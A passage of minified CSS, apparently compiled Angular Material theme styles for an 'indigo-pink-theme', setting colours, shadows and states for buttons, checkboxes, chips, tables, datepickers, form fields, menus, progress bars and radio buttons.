.mat-ripple-element,.indigo-pink-theme .mat-raised-button.mat-accent .mat-ripple-element,.indigo-pink-theme .mat-fab.mat-accent .mat-ripple-element,.indigo-pink-theme .mat-mini-fab.mat-accent .mat-ripple-element,.indigo-pink-theme .mat-flat-button.mat-warn .mat-ripple-element,.indigo-pink-theme .mat-raised-button.mat-warn .mat-ripple-element,.indigo-pink-theme .mat-fab.mat-warn .mat-ripple-element,.indigo-pink-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.indigo-pink-theme .mat-stroked-button:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.indigo-pink-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.indigo-pink-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-fab:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.indigo-pink-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.indigo-pink-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.indigo-pink-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.indigo-pink-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.indigo-pink-theme .mat-button-toggle{color:#00000061}.indigo-pink-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#0000001f}.indigo-pink-theme .mat-button-toggle-appearance-standard{color:#000000de;background:white}.indigo-pink-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}.indigo-pink-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #e0e0e0}.indigo-pink-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #e0e0e0}.indigo-pink-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #e0e0e0}.indigo-pink-theme .mat-button-toggle-checked{background-color:#e0e0e0;color:#0000008a}.indigo-pink-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#000000de}.indigo-pink-theme .mat-button-toggle-disabled{color:#00000042;background-color:#eee}.indigo-pink-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:white}.indigo-pink-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}.indigo-pink-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.indigo-pink-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #e0e0e0}.indigo-pink-theme .mat-card{background:white;color:#000000de}.indigo-pink-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.indigo-pink-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-card-subtitle{color:#0000008a}.indigo-pink-theme .mat-checkbox-frame{border-color:#0000008a}.indigo-pink-theme .mat-checkbox-checkmark{fill:#fafafa}.indigo-pink-theme .mat-checkbox-checkmark-path{stroke:#fafafa!important}.indigo-pink-theme .mat-checkbox-mixedmark{background-color:#fafafa}.indigo-pink-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.indigo-pink-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#3f51b5}.indigo-pink-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.indigo-pink-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#ff4081}.indigo-pink-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.indigo-pink-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.indigo-pink-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.indigo-pink-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}.indigo-pink-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}.indigo-pink-theme .mat-checkbox-disabled .mat-checkbox-label{color:#00000061}.indigo-pink-theme .mat-checkbox .mat-ripple-element{background-color:#000}.indigo-pink-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.indigo-pink-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#3f51b5}.indigo-pink-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.indigo-pink-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#ff4081}.indigo-pink-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.indigo-pink-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.indigo-pink-theme .mat-chip.mat-standard-chip{background-color:#e0e0e0;color:#000000de}.indigo-pink-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#000000de;opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.indigo-pink-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip:after{background:black}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#3f51b5;color:#fff}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#ff4081;color:#fff}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}.indigo-pink-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#ffffff1a}.indigo-pink-theme .mat-table{background:white}.indigo-pink-theme .mat-table thead,.indigo-pink-theme .mat-table tbody,.indigo-pink-theme .mat-table tfoot,.indigo-pink-theme mat-header-row,.indigo-pink-theme mat-row,.indigo-pink-theme mat-footer-row,.indigo-pink-theme [mat-header-row],.indigo-pink-theme [mat-row],.indigo-pink-theme [mat-footer-row],.indigo-pink-theme .mat-table-sticky{background:inherit}.indigo-pink-theme mat-row,.indigo-pink-theme mat-header-row,.indigo-pink-theme mat-footer-row,.indigo-pink-theme th.mat-header-cell,.indigo-pink-theme td.mat-cell,.indigo-pink-theme td.mat-footer-cell{border-bottom-color:#0000001f}.indigo-pink-theme .mat-header-cell{color:#0000008a}.indigo-pink-theme .mat-cell,.indigo-pink-theme .mat-footer-cell{color:#000000de}.indigo-pink-theme .mat-calendar-arrow{fill:#0000008a}.indigo-pink-theme .mat-datepicker-toggle,.indigo-pink-theme .mat-datepicker-content .mat-calendar-next-button,.indigo-pink-theme .mat-datepicker-content .mat-calendar-previous-button{color:#0000008a}.indigo-pink-theme .mat-calendar-table-header-divider:after{background:rgba(0,0,0,.12)}.indigo-pink-theme .mat-calendar-table-header,.indigo-pink-theme .mat-calendar-body-label{color:#0000008a}.indigo-pink-theme .mat-calendar-body-cell-content,.indigo-pink-theme .mat-date-range-input-separator{color:#000000de;border-color:transparent}.indigo-pink-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#00000061}.indigo-pink-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#00000061}.indigo-pink-theme .mat-calendar-body-in-preview{color:#0000003d}.indigo-pink-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#00000061}.indigo-pink-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#0000002e}.indigo-pink-theme .mat-calendar-body-in-range:before{background:rgba(63,81,181,.2)}.indigo-pink-theme .mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.indigo-pink-theme .mat-calendar-body-comparison-bridge-start:before,.indigo-pink-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(63,81,181,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-calendar-body-comparison-bridge-end:before,.indigo-pink-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(63,81,181,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.indigo-pink-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.indigo-pink-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.indigo-pink-theme .mat-calendar-body-selected{background-color:#3f51b5;color:#fff}.indigo-pink-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#3f51b566}.indigo-pink-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.indigo-pink-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.indigo-pink-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#3f51b54d}@media (hover: hover){.indigo-pink-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#3f51b54d}}.indigo-pink-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#fff;color:#000000de}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(255,64,129,.2)}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.indigo-pink-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(255,64,129,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.indigo-pink-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(255,64,129,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#ff4081;color:#fff}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#ff408166}.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.indigo-pink-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.indigo-pink-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ff40814d}@media (hover: hover){.indigo-pink-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ff40814d}}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.indigo-pink-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.indigo-pink-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.indigo-pink-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.indigo-pink-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.indigo-pink-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.indigo-pink-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.indigo-pink-theme .mat-datepicker-toggle-active{color:#3f51b5}.indigo-pink-theme .mat-datepicker-toggle-active.mat-accent{color:#ff4081}.indigo-pink-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.indigo-pink-theme .mat-date-range-input-inner[disabled]{color:#00000061}.indigo-pink-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:white;color:#000000de}.indigo-pink-theme .mat-divider{border-top-color:#0000001f}.indigo-pink-theme .mat-divider-vertical{border-right-color:#0000001f}.indigo-pink-theme .mat-expansion-panel{background:white;color:#000000de}.indigo-pink-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.indigo-pink-theme .mat-action-row{border-top-color:#0000001f}.indigo-pink-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.indigo-pink-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.indigo-pink-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}@media (hover: none){.indigo-pink-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:white}}.indigo-pink-theme .mat-expansion-panel-header-title{color:#000000de}.indigo-pink-theme .mat-expansion-panel-header-description,.indigo-pink-theme .mat-expansion-indicator:after{color:#0000008a}.indigo-pink-theme .mat-expansion-panel-header[aria-disabled=true]{color:#00000042}.indigo-pink-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.indigo-pink-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.indigo-pink-theme .mat-form-field-label,.indigo-pink-theme .mat-hint{color:#0009}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-label{color:#3f51b5}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#ff4081}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.indigo-pink-theme .mat-focused .mat-form-field-required-marker{color:#ff4081}.indigo-pink-theme .mat-form-field-ripple{background-color:#000000de}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#3f51b5}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#ff4081}.indigo-pink-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#3f51b5}.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#ff4081}.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.indigo-pink-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.indigo-pink-theme .mat-error{color:#f44336}.indigo-pink-theme .mat-form-field-appearance-legacy .mat-form-field-label,.indigo-pink-theme .mat-form-field-appearance-legacy .mat-hint{color:#0000008a}.indigo-pink-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#0000006b}.indigo-pink-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.indigo-pink-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#0000006b}.indigo-pink-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.indigo-pink-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#0000000a}.indigo-pink-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#00000005}.indigo-pink-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#0000006b}.indigo-pink-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#00000061}.indigo-pink-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.indigo-pink-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#0000001f}.indigo-pink-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#000000de}.indigo-pink-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#3f51b5}.indigo-pink-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#ff4081}.indigo-pink-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.indigo-pink-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.indigo-pink-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#00000061}.indigo-pink-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#0000000f}.indigo-pink-theme .mat-icon.mat-primary{color:#3f51b5}.indigo-pink-theme .mat-icon.mat-accent{color:#ff4081}.indigo-pink-theme .mat-icon.mat-warn{color:#f44336}.indigo-pink-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#0000008a}.indigo-pink-theme .mat-input-element:disabled,.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#00000061}.indigo-pink-theme .mat-input-element{caret-color:#3f51b5}.indigo-pink-theme .mat-input-element::placeholder{color:#0000006b}.indigo-pink-theme .mat-input-element::-moz-placeholder{color:#0000006b}.indigo-pink-theme .mat-input-element::-webkit-input-placeholder{color:#0000006b}.indigo-pink-theme .mat-input-element:-ms-input-placeholder{color:#0000006b}.indigo-pink-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#ff4081}.indigo-pink-theme .mat-form-field.mat-warn .mat-input-element,.indigo-pink-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.indigo-pink-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.indigo-pink-theme .mat-list-base .mat-list-item,.indigo-pink-theme .mat-list-base .mat-list-option{color:#000000de}.indigo-pink-theme .mat-list-base .mat-subheader{color:#0000008a}.indigo-pink-theme .mat-list-base .mat-list-item-disabled{background-color:#eee;color:#00000061}.indigo-pink-theme .mat-list-option:hover,.indigo-pink-theme .mat-list-option:focus,.indigo-pink-theme .mat-nav-list .mat-list-item:hover,.indigo-pink-theme .mat-nav-list .mat-list-item:focus,.indigo-pink-theme .mat-action-list .mat-list-item:hover,.indigo-pink-theme .mat-action-list .mat-list-item:focus{background:rgba(0,0,0,.04)}.indigo-pink-theme .mat-list-single-selected-option,.indigo-pink-theme .mat-list-single-selected-option:hover,.indigo-pink-theme .mat-list-single-selected-option:focus{background:rgba(0,0,0,.12)}.indigo-pink-theme .mat-menu-panel{background:white}.indigo-pink-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.indigo-pink-theme .mat-menu-item{background:transparent;color:#000000de}.indigo-pink-theme .mat-menu-item[disabled],.indigo-pink-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.indigo-pink-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#00000061}.indigo-pink-theme .mat-menu-item .mat-icon-no-color,.indigo-pink-theme .mat-menu-submenu-icon{color:#0000008a}.indigo-pink-theme .mat-menu-item:hover:not([disabled]),.indigo-pink-theme .mat-menu-item.cdk-program-focused:not([disabled]),.indigo-pink-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.indigo-pink-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(0,0,0,.04)}.indigo-pink-theme .mat-paginator{background:white}.indigo-pink-theme .mat-paginator,.indigo-pink-theme .mat-paginator-page-size .mat-select-trigger{color:#0000008a}.indigo-pink-theme .mat-paginator-decrement,.indigo-pink-theme .mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}.indigo-pink-theme .mat-paginator-first,.indigo-pink-theme .mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}.indigo-pink-theme .mat-icon-button[disabled] .mat-paginator-decrement,.indigo-pink-theme .mat-icon-button[disabled] .mat-paginator-increment,.indigo-pink-theme .mat-icon-button[disabled] .mat-paginator-first,.indigo-pink-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#00000061}.indigo-pink-theme .mat-progress-bar-background{fill:#cbd0e9}.indigo-pink-theme .mat-progress-bar-buffer{background-color:#cbd0e9}.indigo-pink-theme .mat-progress-bar-fill:after{background-color:#3f51b5}.indigo-pink-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#fbccdc}.indigo-pink-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#fbccdc}.indigo-pink-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#ff4081}.indigo-pink-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#f9ccc9}.indigo-pink-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#f9ccc9}.indigo-pink-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.indigo-pink-theme .mat-progress-spinner circle,.indigo-pink-theme .mat-spinner circle{stroke:#3f51b5}.indigo-pink-theme .mat-progress-spinner.mat-accent circle,.indigo-pink-theme .mat-spinner.mat-accent circle{stroke:#ff4081}.indigo-pink-theme .mat-progress-spinner.mat-warn circle,.indigo-pink-theme .mat-spinner.mat-warn circle{stroke:#f44336}.indigo-pink-theme .mat-radio-outer-circle{border-color:#0000008a}.indigo-pink-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#3f51b5}.indigo-pink-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.indigo-pink-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.indigo-pink-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.indigo-pink-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#3f51b5}.indigo-pink-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#ff4081}.indigo-pink-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.indigo-pink-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.indigo-pink-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.indigo-pink-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#ff4081}.indigo-pink-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.indigo-pink-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.indigo-pink-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.indigo-pink-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.indigo-pink-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.indigo-pink-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.indigo-pink-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#00000061}.indigo-pink-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.indigo-pink-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#00000061}.indigo-pink-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#00000061}.indigo-pink-theme .mat-radio-button .mat-ripple-element{background-color:#000}.indigo-pink-theme .mat-select-value{color:#000000de}.indigo-pink-theme .mat-select-placeholder{color:#0000006b}.indigo-pink-theme .mat-select-disabled .mat-select-value{color:#00000061}.indigo-pink-theme .mat-select-arrow{color:#0000008a}.indigo-pink-theme .mat-select-panel{background:white}.indigo-pink-theme 